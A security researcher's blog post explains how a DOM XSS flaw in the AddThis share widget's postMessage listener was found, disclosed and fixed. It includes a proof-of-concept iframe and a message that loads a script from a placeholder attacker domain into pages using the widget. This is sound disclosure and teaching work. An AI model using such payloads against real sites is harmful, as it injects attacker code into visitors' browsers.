What is Detectify?

postMessage XSS on a million sites

December 15, 2016

TL;DR: AddThis is a share button used by over a million sites. They were all vulnerable to XSS earlier this year. In my previous post I described the pitfalls of the postMessage API. This post will describe how I identified and exploited them on the AddThis widget.

While testing an application using AddThis I noticed that it used postMessage, by checking the global listeners in Chrome Devtools:

AddThis postMessage

To see if they had fallen into any of the pitfalls, I added a breakpoint to the listener and sent a message to the page using “window.postMessage("hello", "*")":

Examining the listener

The code had no origin check other than that the origin had to be an HTTP/HTTPS page. The expected format of the message could be concluded from line 5364:

at-share-bookmarklet:DATA.

postMessage

 

I continued the debugger, then sent a message with the correct format, making the code end up on line 5370, calling the “r” function.

The “r” function called another function called “s”:

 

postMessage

The “s” function looked interesting, it seemed like it created a new script element (perhaps DOM XSS?):

postMessage

Unminifying

To understand what the function did, I deobfuscated it by naming the variables and removing multiline statements:

e.exports = function(messageData, t, n, s, u, isTrue) {
   if (!o[messageData] || isTrue) { 
      //isTrue is 1 (true) when this function is called.
      var scriptTag = document.createElement("script");
      if("https:" === window.location.protocol){
         var isSecurePage = true;
      }else{
         var isSecurePage = false;
      }
      var protocol = "";
      var headElement = document.getElementsByTagName("head")[0];
      scriptTag.setAttribute("type", "text/javascript");
      scriptTag.setAttribute("async", "async"); 

      //Check if user is using Chrome/Safari 
   if(window.chrome && window.chrome.self || window.safari && window.safari.extension){ 
      if(isSecurePage){ 
         protocol = "https"; 
      }else{ 
         protocol = "http";
      } 

      //If the message data starts with "//", add protocol before 
      if(0 === messageData.indexOf("//")){ 
         messageData = protocol + messageData; 
      } 
   } 

      //If the message data starts with "//" 
      if(0 === messageData.indexOf("//")){ 
         scriptTag.src = messageData; 
      }else{ 
         scriptTag.src = protocol + "//s7.addthis.com/" + messageData; 
      } 
         headElement.insertBefore(scriptTag, headElement.firstChild); 
         o[messageData] = 1; 
         return scriptTag; 
   } 
   return 1;

Reading the unminified version, I came to the conclusion that sending a message formatted like so:

at-share-bookmarklet://ATTACKERHOST/xss.js

Would add a new script element to the page with the source of “//ATTACKERDOMAIN/xss.js“. In other words, it was vulnerable to DOM XSS.

PoC

An attacker could add scripts to any page using AddThis (DOM XSS). My final exploit looked like this:

<iframe id="frame" src="https://targetpage/using_addthis"></iframe>
<script>
document.getElementById("frame").postMessage('at-share-bookmarklet://ATTACKERDOMAIN/xss.js', '*');
</script>

Fix

I reached out to Matt Abrams (AddThis CTO) who made sure a fix was quickly implemented and pushed to end users. The fix added an origin check to make sure that the message would not be sent from any unknown origin.

Conclusion

In short, postMessage can be (and often is) a source for DOM XSS vulnerabilities. If you are using 3rd party scripts, make sure to examine them and their postMessage implementation.


Author:
Mathias Karlsson
Security Researcher
@avlidienbrunn

 

Detectify free trial